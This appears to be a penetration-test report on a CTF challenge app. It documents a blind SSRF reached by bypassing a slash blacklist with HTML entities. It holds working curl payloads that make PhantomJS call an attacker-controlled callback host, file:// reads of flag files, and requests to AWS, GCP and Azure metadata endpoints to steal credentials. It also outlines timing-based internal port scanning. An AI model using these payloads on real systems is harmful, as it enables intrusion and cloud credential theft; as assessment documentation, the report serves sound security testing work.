# SSRF Exploitation Evidence

## Potential Vulnerabilities (Validation Blocked)

### SSRF-VULN-01: HTML Entity Encoding Bypass Leading to Blind SSRF

**Summary:**
- **Vulnerable location:** GET /page?name= parameter
- **Overview:** HTML entity encoding bypass allows injection of arbitrary URLs into PhantomJS-rendered content, causing the server to make outbound HTTP requests to attacker-controlled or internal network addresses
- **Current Blocker:** Blind SSRF nature prevents data exfiltration; no accessible internal services with sensitive data in localhost deployment environment
- **Potential Impact:** In production cloud environments with internal services or metadata endpoints, this could enable credential theft, internal API access, or sensitive data exfiltration
- **Confidence:** HIGH (Technical vulnerability confirmed with functional exploit, but practical impact limited by deployment context)

**Evidence of Vulnerability:**

1. **HTML Entity Encoding Bypass Confirmed:**
   
   The application implements a blacklist filter that blocks the forward slash `/` character:
   ```python
   blacklist = ['script', 'onload','onclick','onmouseover',"'", "/"]
   for word in blacklist:
       if word in msg.lower():
           return error_message
   ```
   
   However, this filter operates on raw input before HTML parsing. HTML entities bypass the filter:
   - `&#47;` (decimal) → `/` after HTML parsing
   - `&#x2F;` (hex) → `/` after HTML parsing
   - `&sol;` (named entity) → `/` after HTML parsing

2. **SSRF Functionality Confirmed:**
   
   Payload injected:
   ```bash
   curl "http://localhost:34655/page?name=%3Cimg%20src%3Dhttp%3A%26%2347%3B%26%2347%3Bhost.docker.internal%3A8888%26%2347%3Bcallback%3E"
   ```
   
   Results in HTML: `<img src=http:&#47;&#47;host.docker.internal:8888&#47;callback>`
   
   PhantomJS decodes entities during rendering and makes HTTP request to specified URL.

3. **External Callback Received:**
   
   HTTP server log confirms PhantomJS made outbound request:
   ```
   ::ffff:127.0.0.1 - - [29/Oct/2025 13:45:46] "GET /callback HTTP/1.1" 404 -
   ```
   
   This proves network boundary bypass - the server makes HTTP requests to attacker-controlled destinations.

4. **Timing-Based Network Reconnaissance:**
   
   Automated scanning of internal network addresses reveals timing patterns:
   - Docker gateway (172.17.0.1): ~5.0 second timeouts
   - Localhost services (127.0.0.1): ~2.1 second responses
   
   Full scan results: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-051-24/ssrf_scan_results.txt`

**Attempted Exploitation:**

The following techniques were attempted to escalate from blind SSRF to data exfiltration:

1. **File Protocol Access:**
   ```bash
   # Attempted flag file reads
   curl "http://localhost:34655/page?name=%3Cimg%20src%3Dfile%3A%26%2347%3B%26%2347%3B%26%2347%3Bflag.txt%3E"
   curl "http://localhost:34655/page?name=%3Cimg%20src%3Dfile%3A%26%2347%3B%26%2347%3B%26%2347%3Bpython-docker%26%2347%3Bsecret.txt%3E"
   ```
   **Result:** Requests sent, but file:// protocol with <img> tags does not support data exfiltration in blind SSRF context

2. **JavaScript-Based Exfiltration:**
   ```bash
   # Attempted to use onerror handler to exfiltrate data
   curl "http://localhost:34655/page?name=%3Cimg%20src%3Dx%20onerror%3Dnew%20Image().src%3Dhttp%3A%26%2347%3B%26%2347%3Bhost.docker.internal%3A8888%26%2347%3Btest%3E"
   ```
   **Result:** TypeError - "Attempting to change the setter of an unconfigurable property"
   **Reason:** PhantomJS's page.evaluate() sets properties as read-only, preventing advanced JavaScript exploitation

3. **Cloud Metadata Access:**
   ```bash
   # Attempted AWS metadata endpoint
   curl "http://localhost:34655/page?name=%3Cimg%20src%3Dhttp%3A%26%2347%3B%26%2347%3B169.254.169.254%26%2347%3Blatest%26%2347%3Bmeta-data%26%2347%3B%3E"
   ```
   **Result:** Request sent, but no cloud metadata endpoints exist (localhost deployment)

4. **Internal Service Access:**
   ```bash
   # Attempted to access Flask application via localhost
   curl "http://localhost:34655/page?name=%3Cimg%20src%3Dhttp%3A%26%2347%3B%26%2347%3Blocalhost%3A5000%26%2347%3B%3E"
   ```
   **Result:** Request sent successfully, but blind SSRF prevents reading response data

**How This Would Be Exploited:**

If this application were deployed in a production environment with accessible internal services or cloud metadata endpoints:

1. **Set up callback listener:**
   ```bash
   python3 -m http.server 8888
   ```

2. **Inject SSRF payload with entity-encoded URL:**
   ```bash
   curl "http://localhost:34655/page?name=%3Cimg%20src%3Dhttp%3A%26%2347%3B%26%2347%3B[INTERNAL_SERVICE_IP]%3A[PORT]%26%2347%3B[ENDPOINT]%3E"
   ```

3. **For cloud environments, target metadata endpoints:**
   
   **AWS:**
   ```bash
   # Retrieve IAM role credentials
   curl "http://localhost:34655/page?name=%3Cimg%20src%3Dhttp%3A%26%2347%3B%26%2347%3B169.254.169.254%26%2347%3Blatest%26%2347%3Bmeta-data%26%2347%3Biam%26%2347%3Bsecurity-credentials%26%2347%3B%3E"
   ```
   
   **GCP:**
   ```bash
   # Retrieve service account token
   curl "http://localhost:34655/page?name=%3Clink%20rel%3Dprefetch%20href%3Dhttp%3A%26%2347%3B%26%2347%3Bmetadata.google.internal%26%2347%3BcomputeMetadata%26%2347%3Bv1%26%2347%3Binstance%26%2347%3Bservice-accounts%26%2347%3Bdefault%26%2347%3Btoken%3E"
   ```
   
   **Azure:**
   ```bash
   # Retrieve instance metadata
   curl "http://localhost:34655/page?name=%3Cimg%20src%3Dhttp%3A%26%2347%3B%26%2347%3B169.254.169.254%26%2347%3Bmetadata%26%2347%3Binstance%3Fapi-version%3D2021-02-01%3E"
   ```

4. **Perform timing-based reconnaissance to map internal network:**
   
   Use automated scanner to identify open ports and services:
   ```bash
   python3 ssrf_network_scanner.py
   ```
   
   Analyze timing patterns:
   - Fast responses (~1-2s): Port closed or service rejected connection
   - Slow responses (~5s timeout): Port filtered or service not responding
   - Medium responses (~3-4s): Port open, service responding

5. **Chain with other vulnerabilities:**
   
   If internal services have vulnerabilities (e.g., unauthenticated admin panels, vulnerable APIs), use SSRF to:
   - Trigger administrative actions
   - Bypass IP-based access controls
   - Exploit vulnerable internal services

**Expected Impact:**

If deployed in production cloud environment with internal services:

1. **Cloud Credential Theft (CRITICAL):**
   - Access to AWS/GCP/Azure metadata endpoints
   - Retrieval of IAM roles, service account tokens, or managed identities
   - Full cloud account compromise possible

2. **Internal Network Reconnaissance (HIGH):**
   - Map internal network topology
   - Identify internal services and their ports
   - Discover internal APIs and admin interfaces

3. **Internal Service Access (HIGH):**
   - Bypass firewall/network segmentation controls
   - Access internal-only services (databases, admin panels, monitoring tools)
   - Exploit vulnerable internal services from trusted network position

4. **Data Exfiltration via Timing Channels (MEDIUM):**
   - Even with blind SSRF, timing side-channels enable:
     - Port scanning
     - Service fingerprinting
     - Boolean-based data extraction

**Why Classification is POTENTIAL Rather Than EXPLOITED:**

According to the exploitation framework:
- **EXPLOITED** requires: "Successfully accessed internal services, **retrieved internal data**, or confirmed network boundary bypass"
- **POTENTIAL** applies when: "A definitive conclusion is impossible due to external factors beyond control"

Classification rationale:

1. **Technical Vulnerability Confirmed:**
   - ✅ HTML entity encoding bypass proven
   - ✅ SSRF functionality confirmed (external callbacks received)
   - ✅ Network boundary bypass demonstrated

2. **Impact Limited by Deployment Context:**
   - ❌ No cloud metadata endpoints (localhost deployment)
   - ❌ No accessible internal services with sensitive data
   - ❌ Blind SSRF prevents direct data exfiltration
   - ❌ No production-like internal network to demonstrate full impact

3. **External Constraint:**
   - The "blocker" is not a security control that could be bypassed
   - It's the deployment environment itself (localhost CTF challenge vs production cloud environment)
   - Full exploitation would require production deployment with internal services

4. **Honest Assessment:**
   - While technically a valid SSRF vulnerability, the practical impact is minimal in current context
   - The application's PURPOSE is to render user HTML in PhantomJS (making HTTP requests is expected behavior)
   - No sensitive data was retrieved or services compromised
   - Classification as EXPLOITED would overstate the demonstrated impact

**Context - Application Purpose:**

This application is a **CTF XSS challenge** where PhantomJS intentionally renders user-supplied HTML to detect XSS payloads. The SSRF vulnerability exists due to:
- Insufficient input validation (HTML entity encoding bypass)
- No network egress controls on PhantomJS
- No resource loading restrictions

However, PhantomJS making HTTP requests is fundamentally expected behavior for a headless browser rendering HTML content. The vulnerability lies in the lack of controls preventing arbitrary URL injection, not in the HTTP request functionality itself.

**Recommendation:**

In a real-world security assessment, this finding should be reported with:
- **Risk Rating:** Medium to High (depending on deployment environment)
- **Severity in Production:** High to Critical (if deployed on cloud with internal services)
- **Severity in Current Context:** Low to Medium (localhost deployment, no exploitable internal services)
- **Remediation Priority:** High (easy to exploit, potentially severe in production)
